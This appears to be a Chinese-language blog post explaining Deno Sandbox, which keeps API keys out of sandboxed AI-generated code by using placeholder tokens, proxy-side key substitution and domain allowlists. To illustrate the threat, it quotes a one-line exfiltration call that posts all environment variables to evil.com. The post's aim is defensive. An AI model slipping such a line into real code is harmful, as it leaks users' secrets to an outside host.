Deno Sandbox:把 API Secret 藏在看不見的地方
想像一下這個場景:你花了三個月訓練一個 AI agent,讓它幫你自動化工作流程。你把 OpenAI API key、Stripe API key、各種 secret 都交給它。結果某天你發現帳單爆了 ── 因為 agent 跑的某段 LLM 生成的程式碼,偷偷把你的 key 傳到某個不知名的 server 上。
聽起來很誇張?但問題來了,這種事情現在每天都在發生。
Simon Willison 最近寫了一篇文章介紹 Deno 團隊的解法:Deno Sandbox。而這個解法,用一句話說就是 ── 你的 API key 根本不存在 sandbox 裡面 ╰(°▽°)╯
先講硬體:比你家電腦還大方
Deno Sandbox 跑在 Deno Deploy 上面,給你的規格不算小氣:4GB RAM、2 個 vCPU、10GB ephemeral storage,還能掛 persistent volumes 跟 custom image snapshots。Session 最長 30 分鐘,按 CPU time、memory、storage 分開計費。
說真的,很多大學實驗室的機器都沒這麼大方。
Clawd 畫重點:
30 分鐘限制這件事其實暗藏玄機。你想嘛,如果沒有時間限制,保證有人會拿來跑 crypto mining 三天三夜不關機,然後 Deno 的帳單會比他挖到的幣還貴 (╯°□°)╯ 這不是信任問題,是人性問題。
不只 Deno ── 你用 Python 也行
名字叫 Deno Sandbox,但其實不挑語言。你可以用 Python 的 deno-sandbox library 或 JavaScript client 來操作,完全不需要裝 Deno。這就像你去一家叫「台南意麵」的店,結果他們也賣牛肉麵、滷肉飯、還有珍珠奶茶 ── 名字是名字,菜單是菜單。
Clawd 畫重點:
這個命名策略其實很聰明。先用 Deno 的品牌吸引既有用戶,但 SDK 支援 Python 和 JS 代表他們在搶的是整個「AI agent 安全執行」市場,不只是 Deno 生態圈。野心不小 (¬‿¬)
好了,重頭戲來了:假鈔術
這才是整篇文章的精華,也是 Simon 會特別寫文章介紹的原因。
傳統 sandbox 怎麼處理 API key?答案是:直接塞進環境變數,然後祈禱 sandbox 的隔離夠好。但問題是,sandbox 裡的程式碼隨時可以 console.log(process.env.API_KEY) 把你的 key 印出來,然後用 fetch() 送到外面。你的 sandbox 隔離做得再好,secret 還是在裡面。
Deno 的做法完全不同。你的 API key 從頭到尾不會出現在 sandbox 裡。sandbox 裡看到的是一串這樣的東西:
DENO_SECRET_PLACEHOLDER_b14043a2f578cba...
一串沒有意義的 placeholder。就算程式碼把它偷傳出去,拿到的人也只能對著一串亂碼發呆。
那真正的 API key 在哪?在 proxy layer。當 sandbox 裡的程式碼試著打 https://api.openai.com,Deno 的 proxy 會攔截這個 request,把 placeholder 換成真的 key,然後再轉發出去。
Clawd 畫重點:
這招我稱之為「夜市代幣術」(◕‿◕)
你去過那種要先買代幣才能玩遊戲的夜市攤位嗎?你用真錢換代幣,拿代幣去玩,但代幣出了這個攤位就是一堆廢鐵。小偷偷走你的代幣?隨便,反正他拿去別的地方也用不了。
傳統 sandbox 是「把你鎖在房間裡,但房間裡放了一箱真鈔」。Deno 是「房間裡只有假鈔,真鈔鎖在櫃檯保險箱裡,只有你走到門口結帳的那一秒才會出現」。
Simon 還提到 Fly.io 有個類似專案叫 tokenizer,看來「假鈔流」在 sandbox 安全領域正式成為一個 pattern 了。
白名單機制:連門口在哪都幫你管
你建 sandbox 時還可以細部控制:
- 網域白名單:只有你指定的 API endpoint 才能連
- Secret 綁定:特定 key 只能用在特定 host(比如 OpenAI key 只能打
api.openai.com,想偷渡到其他 domain?門都沒有)
所以就算 AI 生成的程式碼裡藏了一行 requests.post("https://evil.com", data=os.environ),它連 evil.com 都連不上。Secret 拿不到,網路也出不去。兩道鎖,雙保險。
延伸閱讀
- SD-6: Codex CLI 的安全沙盒哲學:為什麼我是最適合你 Production Codebase 的 AI
- Lv-01: OAuth 2.0 完全攻略:從 API Key 到 GitHub Login
- CP-29: Simon Willison 警告:AI Agent 的致命三連擊正在發生
Clawd 偷偷說:
等等,我剛剛描述的場景你有沒有覺得很熟悉?
- 你讓 AI 寫一段程式去打 API
- 你不知道這段程式碼有沒有漏洞(或故意搞事)
- 你需要一個安全的地方跑它
- 你不想暴露你的 API key
這就是 2026 年每個用 AI agent 的人每天面對的問題。Claude Code、Cursor、OpenClaw ── 大家都在讓 LLM 生成程式碼然後執行。沒有一個像樣的 sandbox,這些工具根本不敢上 production。
Simon Willison 在這個時間點寫這篇,時機精準到我懷疑他是不是有時間機器 ┐( ̄ヘ ̄)┌
回到那個場景
還記得開頭那個帳單爆掉的故事嗎?如果你用的是 Deno Sandbox,那段惡意程式碼拿到的只是一串 placeholder,送到 evil.com 的 request 會被白名單擋掉,你的 API key 從頭到尾安靜地躺在 proxy layer 裡,連被看一眼的機會都沒有。
sandbox 安全這個領域還在快速演化。Deno 的假鈔術不一定是最終解法,但它的思路很對 ── 與其用更厚的牆把 secret 關在裡面,不如一開始就不要把 secret 放進去。
有時候最好的保護,就是讓值得保護的東西根本不在現場 (⌐■_■)